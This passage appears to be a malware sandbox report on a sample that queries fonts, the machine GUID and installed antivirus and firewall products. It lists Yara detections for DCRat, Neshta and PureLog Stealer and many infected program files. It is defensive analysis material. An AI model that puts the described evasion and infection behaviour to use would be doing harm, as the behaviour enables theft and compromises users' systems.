                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct

                              Stealing of Sensitive Information

                              barindex
                              Yara detected DCRat
                              Source: Yara matchFile source: 00000001.00000002.2127156307.00000000132DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: Process Memory Space: SearchIndexer.exe PID: 3168, type: MEMORYSTR
                              Source: Yara matchFile source: Process Memory Space: tAVtSoJGTaCxrZiXcJn.exe PID: 8740, type: MEMORYSTR
                              Yara detected Neshta
                              Source: Yara matchFile source: SearchIndexer.exe, type: SAMPLE
                              Source: Yara matchFile source: 0.0.SearchIndexer.exe.400000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 00000034.00000002.2186722542.0000000000409000.00000004.00000001.01000000.00000008.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000000.00000002.2762934153.0000000000409000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
                              Source: Yara matchFile source: Process Memory Space: SearchIndexer.exe PID: 6636, type: MEMORYSTR
                              Source: Yara matchFile source: Process Memory Space: svchost.com PID: 9192, type: MEMORYSTR
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\SDXHelper.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\Uninstall.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Windows\svchost.com, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\chrome.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\Au3Check.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Windows Defender\SearchIndexer.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\Au3Info.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exe, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\osmclienticon.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pptico.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe, type: DROPPED
                              Yara detected PureLog Stealer
                              Source: Yara matchFile source: SearchIndexer.exe, type: SAMPLE
